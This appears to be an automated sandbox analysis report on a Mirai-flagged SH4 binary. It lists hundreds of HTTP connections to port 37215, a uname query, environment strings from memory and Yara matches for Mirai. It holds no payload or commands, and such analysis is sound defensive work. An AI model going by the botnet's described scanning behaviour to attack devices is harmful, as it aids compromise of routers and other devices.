Source: unknown	Network traffic detected: HTTP traffic on port 37170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51272 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40304 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52434 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52572 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41162 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49146 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34496 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58702 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49398 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37896 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35738 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55676 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38886 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52534 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48772 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34102 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52700 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46710 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60766 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42692 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37038 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45726 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42848 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34412 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52294 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59214 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33784 -> 37215

Source: /tmp/sh4.elf (PID: 5482)

Queries kernel information via 'uname':

Jump to behavior

Source: sh4.elf, 5482.1.00007fff63dd7000.00007fff63df8000.rw-.sdmp, sh4.elf, 5486.1.00007fff63dd7000.00007fff63df8000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: sh4.elf, 5482.1.000055f705609000.000055f70566c000.rw-.sdmp, sh4.elf, 5486.1.000055f705609000.000055f70566c000.rw-.sdmp	Binary or memory string: U5!/etc/qemu-binfmt/sh4
Source: sh4.elf, 5482.1.000055f705609000.000055f70566c000.rw-.sdmp, sh4.elf, 5486.1.000055f705609000.000055f70566c000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4
Source: sh4.elf, 5482.1.00007fff63dd7000.00007fff63df8000.rw-.sdmp, sh4.elf, 5486.1.00007fff63dd7000.00007fff63df8000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sh4.elf

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: sh4.elf, type: SAMPLE
Source: Yara match	File source: 5482.1.00007f32ac400000.00007f32ac410000.r-x.sdmp, type: MEMORY
